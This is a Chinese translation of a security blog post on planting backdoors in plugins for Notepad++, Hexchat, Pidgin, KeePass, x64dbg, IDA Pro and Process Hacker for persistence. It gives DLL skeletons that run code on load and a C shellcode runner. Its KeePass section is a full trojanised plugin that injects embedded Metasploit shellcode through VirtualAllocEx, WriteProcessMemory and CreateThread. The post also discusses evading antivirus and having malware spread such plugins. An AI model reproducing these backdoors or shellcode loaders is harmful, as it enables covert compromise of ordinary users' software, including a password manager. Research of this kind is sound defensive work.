如何在插件中植入后门 您所在的位置:网站首页 我的世界插件后门怎么排查 如何在插件中植入后门

如何在插件中植入后门

2024-05-10 00:36| 来源: 网络整理| 查看: 265

如何在插件中植入后门

阅读量305052

|

发布时间 : 2018-04-08 11:00:49

x译文声明

本文是翻译文章,文章原作者 AVERAGEJOE,文章来源:www.gironsec.com

原文地址:https://www.gironsec.com/blog/2018/03/backdooring-plugins/

译文仅供参考,具体内容表达以及含义原文为准。

 

一、前言

很早以前我与黑客小伙伴们讨论时就诞生了这个想法,利用插件植入后门是实现持久化驻留的另一种方法。我们为什么不试一下在某些热门程序中植入后门呢?

今天我们先来谈谈如何在一些热门软件的插件中植入后门,目标主要是我电脑上已安装的一些程序。

 

二、Notepad++

第一个目标是Notepad++。出于各种原因,我决定在“mimeTools.dll”种植入后门(这款插件刚好就在那里,看起来也比较“善良”)。

 

我这人喜欢直截了当的方式,因此我会采用汇编方式在这个DLL中植入后门。当然,我们可以直接下载插件模板(或者其他辅助工具)来编译,但这就没有多大乐趣了。如果我们想在exe中添加代码,最好能找到合适的位置。我们的后门载荷是一段shellcode,大小为251个字节。

也就是说,我们需要在目标中找到至少为251字节大小的可用代码洞(cave),否则我们就需要在DLL中添加新的区段(section),我选择使用后一种方式。我们可以尝试修改已有section的标志,但这种方法通常无法奏效,添加新的section可能是更加简单的一种方式。回顾我们之前文章中提到的方法,我们使用“Cff Explorer”添加了新的section。在这里我会添加一个新的section,往里面填充一个文件(可以使用jpeg或者其他文件),之后重建PE头再保存。对了,别忘了将section标志设置为可执行(executable)或者包含代码(contains code),否则跳转到这个section并不会运行我们的代码。另外我还给这个section起了个好名字。

在IDA中打开这个dll,我们可以看到新的代码段以及具体地址。当我们在调试器中打开dll时,我们需要使用这个地址实现长跳转并且粘贴/保存汇编形式的后门shellcode。我在之前的文章中也介绍了这方面内容,如果大家不知道如何处理,可以回头看看那个教程。

现在我们要做的就是将修改后的dll拖拽到notepad++的插件目录中,运行程序即可。接下来就是见证奇迹发生的时刻了:

点击“ok”按钮后Notepad++就会继续运行,但我们可以替换成其他代码,而不是简单地弹出对话框。

如果你不擅长编辑原始dll文件,那么可以考虑自己编写dll文件,但需要确保该文件符合notepad++的代码格式。

代码框架并不复杂,只需要导出几个函数即可:IsUnicode、setInfo、getName、getFuncsArray、beNotified以及messageProc。如果没有导出这些函数,notepad++会弹出警告,并不会运行我们编写的代码:

 

三、Hexchat

第一个目标已成功攻陷,还有更多目标在等着我们。接下来我选择Hexchat这个IRC客户端作为攻击目标(真正的黑客肯定会用到IRC)。

首先我们可以粗略观察一下hexchat中的示例插件,能得到许多信息:

只有一些导出表项。查阅官方文档后,可以发现只需要拷贝这些导出函数即可,操作起来易如反掌。

这一次我们可以使用dll框架代码。模仿另一个插件的导出函数,我们就能实现恶意代码的运行。C语言版本的框架代码如下所示:

#include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxW(NULL,L"kek",L"wek",MB_OK); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern __declspec(dllexport) void hexchat_plugin_init(void) { MessageBoxW(NULL,L"Herro Mr hexchat 1",L"joe",MB_OK); return; } extern __declspec(dllexport) void hexchat_plugin_deinit(void) { MessageBoxW(NULL,L"Herro Mr hexchat 2",L"joe",MB_OK); return; } extern __declspec(dllexport) void hexchat_plugin_get_info(void) { MessageBoxW(NULL,L"Herro Mr hexchat 3",L"joe",MB_OK); return; }

为什么选择C语言?因为这样可以便于我们使用shellcode。

在C中使用shellcode非常方便,只需要3行代码即可:

#include #include int main(void) { char shellcode[] = "x90x90x90"; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; }

编译成64位dll后,我将该文件拖放到插件目录中(通常位于用户配置目录中)。根据执行结果,貌似程序首先会执行dllmain中DLL_PROCESS_ATTACH区域的代码:

接下来程序会启动插件初始化代码,如果时机正好,说不定你可以在IRC中碰到我。

 

四、Pidgin

现在我们可以移步下一个目标。我电脑上也安装了Pidgin即时消息软件,我们可以在上面植入后门。

步骤1:查看导出的dll表项:

步骤2:将这些表项载入框架型dll代码中。需要关注其中的TLS回调函数,我可能会专门写篇文章介绍这方面内容。

#include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxW(NULL,L"kek",L"wek",MB_OK); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern __declspec(dllexport) int purple_init_plugin(char *filler, int filler2) { MessageBoxW(NULL,L"Herro Mr Pidgin",L"joe",MB_OK); return 1; }

步骤3:将生成的载荷放入用户配置目录中,等待加载。加载后DLL_PROCESS_ATTACH区域中的代码就会被执行,插件初始化代码看上去似乎只是一种摆设。

步骤4:????

步骤5:大功告成!

 

五、Keepass

接下来让我们大胆一些,试试给Keepass植入后门!这次我们需要使用与前面略微不同的方法,因为Keepass是.NET程序,并非我经常编写的普通原生汇编代码。不用担心,C#非常简单,前面我也介绍过这方面内容。我们可以获取源码来编译,因此就不需要重复造轮子了。我决定“借用”其他人已有的代码,然后再添加恶意代码进行编译。这个插件项目为“QualityColumn”,大家也可以选择使用其他老的插件作为目标。

代码如下:

/* KeePass QualityColumn Plugin Copyright (C) 2010-2014 Dominik Reichl This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ using System; using System.Collections.Generic; using System.Text; using System.Windows.Forms; using System.Diagnostics; using System.Runtime.InteropServices; using KeePass.Forms; using KeePass.Plugins; using KeePass.UI; using KeePass.Util.Spr; using KeePassLib; using KeePassLib.Cryptography; using KeePassLib.Utility; namespace QualityColumn { public sealed class QualityColumnExt : Plugin { [Flags] public enum AllocationType { Commit = 4096, Reserve = 8192, Decommit = 16384, Release = 32768, Reset = 524288, Physical = 4194304, TopDown = 1048576, WriteWatch = 2097152, LargePages = 536870912 } [Flags] public enum AllocationProtect : uint { PAGE_NOACCESS = 1u, PAGE_READONLY, PAGE_READWRITE = 4u, PAGE_WRITECOPY = 8u, PAGE_EXECUTE = 16u, PAGE_EXECUTE_READ = 32u, PAGE_EXECUTE_READWRITE = 64u, PAGE_EXECUTE_WRITECOPY = 128u, PAGE_GUARD = 256u, PAGE_NOCACHE = 512u, PAGE_WRITECOMBINE = 1024u } /* * windows/x64/exec - 275 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=none, * CMD=cmd.exe */ byte[] buf = new byte[275] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64, 0x2e,0x65,0x78,0x65,0x00 }; [DllImport("Kernel32.dll")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("Kernel32.dll")] private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1); [DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)] private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0); [DllImport("Kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten); private static IPluginHost m_host = null; private QualityColumnProvider m_prov = null; internal static IPluginHost Host { get { return m_host; } } public override bool Initialize(IPluginHost host) { Terminate(); m_host = host; if(m_host == null) { Debug.Assert(false); return false; } m_prov = new QualityColumnProvider(); m_host.ColumnProviderPool.Add(m_prov); m_host.MainWindow.FileClosed += this.OnFileClosed; return true; } public override void Terminate() { System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess(); int pid = olo.Id; IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid); if (hProcess == IntPtr.Zero) { throw new Exception("error!"); } IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length, AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE); int zero = 0; IntPtr kek = IntPtr.Zero; WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero); UInt32 tid = 0; CreateThread(0, 0, intPtr, kek, 0, ref tid); if(m_host == null) return; m_host.MainWindow.FileClosed -= this.OnFileClosed; m_host.ColumnProviderPool.Remove(m_prov); m_prov = null; m_host = null; } private void OnFileClosed(object sender, FileClosedEventArgs e) { QualityColumnProvider.ClearCache(); } } public sealed class QualityColumnProvider : ColumnProvider { private const string QcpName = "Password Quality"; private const string QcpBitsSuffix = " bits"; private static object m_oCacheSync = new object(); private static Dictionary m_dCache = new Dictionary(); private string[] m_vColNames = new string[] { QcpName }; public override string[] ColumnNames { get { return m_vColNames; } } public override HorizontalAlignment TextAlign { get { return HorizontalAlignment.Right; } } internal static void ClearCache() { lock(m_oCacheSync) { m_dCache.Clear(); } } public override string GetCellData(string strColumnName, PwEntry pe) { if(strColumnName == null) { Debug.Assert(false); return string.Empty; } if(strColumnName != QcpName) return string.Empty; if(pe == null) { Debug.Assert(false); return string.Empty; } string strPw = pe.Strings.ReadSafe(PwDefs.PasswordField); if(strPw.IndexOf('{') >= 0) { IPluginHost host = QualityColumnExt.Host; if(host == null) { Debug.Assert(false); return string.Empty; } PwDatabase pd = null; try { pd = host.MainWindow.DocumentManager.SafeFindContainerOf(pe); } catch(Exception) { Debug.Assert(false); } SprContext ctx = new SprContext(pe, pd, (SprCompileFlags.Deref | SprCompileFlags.TextTransforms), false, false); strPw = SprEngine.Compile(strPw, ctx); } uint uEst; lock(m_oCacheSync) { if(!m_dCache.TryGetValue(strPw, out uEst)) uEst = uint.MaxValue; } if(uEst == uint.MaxValue) { uEst = QualityEstimation.EstimatePasswordBits(strPw.ToCharArray()); lock(m_oCacheSync) { m_dCache[strPw] = uEst; } } return (uEst.ToString() + QcpBitsSuffix); } } }

这里我们可以选择如何编译这些代码。Keepass可以接受类库(.NET dll文件),也能接受“plgx”这种自有格式文件。如果选择后一种方式,我们可以更好地隐藏攻击载荷,规避杀毒软件,感谢Keepass提供这个功能!

32位的shellcode无法在我机器上的.NET环境中运行,具体原因不明,不要在意这个细节。

解决办法就是使用64位shellcode,即使宿主程序位32位程序也没问题。

现在我们可以编译攻击代码,在命令行中输入KeePass.exe –plgx-create,会弹出一个对话框让我们选择包含C#工程文件的目录。

只要将生成的plgx文件放入keepass目录中(并不一定要是插件目录),我们的插件就可以伴随keepass一起启动。

 

六、X64dbg

我是非常耿直的人,因此我把目光转向了调试器。X64dbg是我正在使用的调试器,如果你还在使用olly或者immunity,你需要与时俱进,紧跟时代潮流了。

首先我们在CFF Explorer中加载程序(这一次没有使用ida)。

我们需要在dll框架代码中填入3个导出函数:

#include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxW(NULL,L"hello x64dbg, i am a backdoor.",L"wek",MB_OK); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern __declspec(dllexport) void pluginit(void) { MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK); return; } extern __declspec(dllexport) void plugsetup(void) { MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK); return; } extern __declspec(dllexport) void plugstop(void) { MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK); return; }

为了让x64dbg加载我们的插件,只需要将我们的dll文件重命名为“.dp64”文件,将其放入插件目录中即可。

现在启动调试器,见证奇迹发生:

想象一下,如果某款恶意软件探测到x64dbg正在运行,它将自身副本解封装到插件目录,然后触发调试器崩溃,那么下次调试器运行时恶意软件也能自动运行,可利用的场景还有很多,不一而足。

 

七、IDA Pro

最后的重头戏留给IDA Pro。

我选择的是“COM Helper”这个插件,貌似IDA会自动加载这个插件。

插件文件位于插件目录中,如下所示:

在IDA中打开其中某个文件(有点讽刺意味),我们发现只有一个导出条目:PLUGIN。这样dll代码就比较简单了:

#include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxW(NULL,L"Hi mr IDA",L"YO",MB_OK); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern __declspec(dllexport) void PLUGIN(void) { MessageBoxW(NULL,L"Hello IDA. I am a backdoor!",L"joe",MB_OK); return; }

编译dll代码,将其命名为“comhelper.dll”以及“comhelper64.dll”(要确保两个版本的IDA都能加载我们的插件),放入插件目录中即可。程序还是会加载DLL_PROCESS_ATTACH。

读到这里,大家会不会担心某些心怀不轨的黑客会窃取这种思路,开始散播带有后门插件的IDA种子?放心,没有人会这么做的。

 

八、Process Hacker

我的主机上还有许多程序可以植入后门插件,比如VLC、Foobar、DropBox、Ifranview、mumble以及Cheat Engine等,但攻击者可能没有那么多时间。如果我们想在目标主机上实现本地持久化,可以考虑以用户每天都使用的某款程序作为目标来植入后门插件,注意要保持隐蔽性。

总之,我们只需要将恶意代码加入主dll文件的入口点中,就能得到运行机会。事实上这种方法对大多数插件来说都是适用的。当然,的确有部分插件预设了一些条件,比如需要使用特定的导出函数名等,但总体而言,我们可以将代码填入DllMain中的DLL_PROCESS_ATTACH区域,这就足以应对大多数情况。提问一下,大家之前有没有用过Process Hacker?

如果我们将任何64位dll放入Process Hacker的“plugins”目录中,不需要做任何处理,程序就会运行我们的代码。这种现象与IDA Pro类似:

对于其他插件,如果这么做不行,我们只需要拷贝导出函数名(只需要匹配函数名,不需要考虑序号),满足预设条件即可,剩下的工作就比较简单了。我觉得我们可以使用病毒或者其他程序来自动化完成这个工作。

 

九、总结

大家可以从这里下载本文用到的所有代码,密码为infected。

感谢大家百忙中阅读此文,我还有许多事情要去处理,比如我需要编写64位版本的metasploit模块,需要重写crypter(被误报为“wannacry”),还需要深入学习IOT设备以及网络摄像头方面知识。对了,前面我们留下了一个坑:TLS回调函数,后面我会解决这个问题。

希望大家有个愉快的黑客之旅。

本文翻译自www.gironsec.com 原文链接。如若转载请注明出处。 商务合作,文章发布请联系 [email protected]

本文由興趣使然的小胃原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/103569

安全客 - 有思想的安全新媒体

本文转载自: www.gironsec.com

如若转载,请注明出处: https://www.gironsec.com/blog/2018/03/backdooring-plugins/

安全客 - 有思想的安全新媒体

分享到:微信插件后门热门程序中植入后门Notepad+++12赞收藏興趣使然的小胃分享到:微信


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有